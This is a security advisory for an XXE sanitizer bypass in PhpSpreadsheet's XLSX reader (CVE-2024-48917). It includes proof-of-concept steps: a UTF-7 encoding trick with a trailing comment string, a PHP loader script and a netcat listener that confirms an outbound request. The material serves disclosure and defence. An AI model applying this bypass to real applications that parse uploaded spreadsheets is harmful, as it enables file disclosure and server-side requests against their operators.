XXE in PHPSpreadsheet's XLSX reader
Summary
The XmlScanner class has a scan method which should prevent XXE attacks.
However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];
A payload for the workbook.xml file can for example be created with CyberChef.
If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need:
- Create a file containing
<?xml version = "1.0" encoding='UTF-7'in an XML file - Use the link attached above to create your XXE payload and add it to the XML file.
- Add
+ADw-+ACE---encoding="UTF-8"--+AD4-to the end of the XML file, which is matched by the first regex.
PoC
- Create a new folder.
- Run the
composer require phpoffice/phpspreadsheetcommand in the new folder. - Create an
index.phpfile in that folder with the following content:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';
/** Create a new Reader of the type defined in $inputFileType **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/** Advise the Reader that we only want to load cell data **/
$reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>";
/** Load $inputFileName to a Spreadsheet Object **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());
}
- Run the following command:
php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open https://127.0.0.1:8080 in a browser. You will see an HTTP request on netcat http://127.0.0.1:12345/ext.dtd.
Impact
An attacker can bypass the sanitizer and achieve an XXE attack.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpoffice/phpexcel | <= 1.8.2 | no fix |
| Composer package | phpoffice/phpspreadsheet | < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 | 1.29.4, 2.1.3, 2.3.2, 3.4.0 |
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp
- https://nvd.nist.gov/vuln/detail/CVE-2024-48917
- https://github.com/PHPOffice/PhpSpreadsheet
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-611- Platform
- Composer
- Package
phpoffice/phpexcel, phpoffice/phpspreadsheet- Disclosed
- 18.11.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7cc9-j4mv-vcjp - CC BY 4.0
Vulnerability history: phpoffice/phpspreadsheet
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 31
- First → latest
- 11.2019 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 17
- Medium 12
Disclosures per year
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 9
- 2025: 10
- 2026: 9
-
XXE in PHPSpreadsheet's XLSX reader this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.